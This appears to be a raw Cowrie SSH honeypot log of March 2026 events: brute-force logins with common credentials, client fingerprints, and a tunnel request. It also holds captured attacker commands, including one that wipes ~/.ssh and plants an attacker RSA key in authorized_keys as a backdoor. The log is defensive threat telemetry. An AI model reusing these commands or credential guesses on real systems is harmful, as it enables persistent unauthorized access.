{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:06.276343Z","src_ip":"157.15.59.99","session":"c5d979562c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:06.505795Z","src_ip":"157.15.59.99","session":"c5d979562c37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"12345678","message":"login attempt [vhserver/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:07.453491Z","src_ip":"157.15.59.99","session":"c5d979562c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:08.685316Z","src_ip":"157.15.59.99","session":"c5d979562c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":43226,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc6f19c1a395","protocol":"ssh","message":"New connection: 43.245.143.215:43226 (159.203.135.109:22) [session: cc6f19c1a395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:42.351924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:42.357205Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:42.642060Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1Qaz2Wsx","message":"login attempt [root/1Qaz2Wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:43.812556Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:44.420637Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:44.423439Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:44.426816Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:44.713269Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:45.321357Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:45.325144Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:45.613632Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:45.617538Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":43230,"dst_ip":"159.203.135.109","dst_port":22,"session":"107cf54e0408","protocol":"ssh","message":"New connection: 43.245.143.215:43230 (159.203.135.109:22) [session: 107cf54e0408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:45.903675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:45.908666Z","src_ip":"43.245.143.215","session":"107cf54e0408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:46.197991Z","src_ip":"43.245.143.215","session":"107cf54e0408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:47.386216Z","src_ip":"43.245.143.215","session":"107cf54e0408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:48.679187Z","src_ip":"43.245.143.215","session":"107cf54e0408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":35180,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f76f5922a9e","protocol":"ssh","message":"New connection: 43.245.143.215:35180 (159.203.135.109:22) [session: 3f76f5922a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:48.929439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:48.933359Z","src_ip":"43.245.143.215","session":"3f76f5922a9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:49.203739Z","src_ip":"43.245.143.215","session":"3f76f5922a9e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:50.351336Z","src_ip":"43.245.143.215","session":"3f76f5922a9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:50.625306Z","src_ip":"43.245.143.215","session":"3f76f5922a9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:50.655347Z","src_ip":"43.245.143.215","session":"cc6f19c1a395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41140,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8f44aa220d8","protocol":"ssh","message":"New connection: 195.178.110.218:41140 (159.203.135.109:22) [session: f8f44aa220d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:51:34.451931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:51:34.456473Z","src_ip":"195.178.110.218","session":"f8f44aa220d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:51:34.535782Z","src_ip":"195.178.110.218","session":"f8f44aa220d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:51:34.773052Z","src_ip":"195.178.110.218","session":"f8f44aa220d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:51:35.854122Z","src_ip":"195.178.110.218","session":"f8f44aa220d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.120","src_port":32956,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ce0a3485c7","protocol":"ssh","message":"New connection: 157.15.59.120:32956 (10.17.0.5:22) [session: 71ce0a3485c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:26.447911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:26.451670Z","src_ip":"157.15.59.120","session":"71ce0a3485c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:26.694101Z","src_ip":"157.15.59.120","session":"71ce0a3485c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mmx","password":"Mmx123","message":"login attempt [mmx/Mmx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:27.700225Z","src_ip":"157.15.59.120","session":"71ce0a3485c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:28.946191Z","src_ip":"157.15.59.120","session":"71ce0a3485c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":42924,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f10b0495d3d","protocol":"ssh","message":"New connection: 77.90.185.17:42924 (10.17.0.5:22) [session: 8f10b0495d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:40.788887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:40.793273Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:40.893294Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:41.392446Z","src_ip":"77.90.185.17","session":"8f10b0495d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.228.15.104","dst_port":443,"src_ip":"77.90.185.17","src_port":45276,"message":"direct-tcp connection request to 54.228.15.104:443 from 127.0.0.1:45276","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:52:44.047290Z","session":"8f10b0495d3d","protocol":"ssh"}
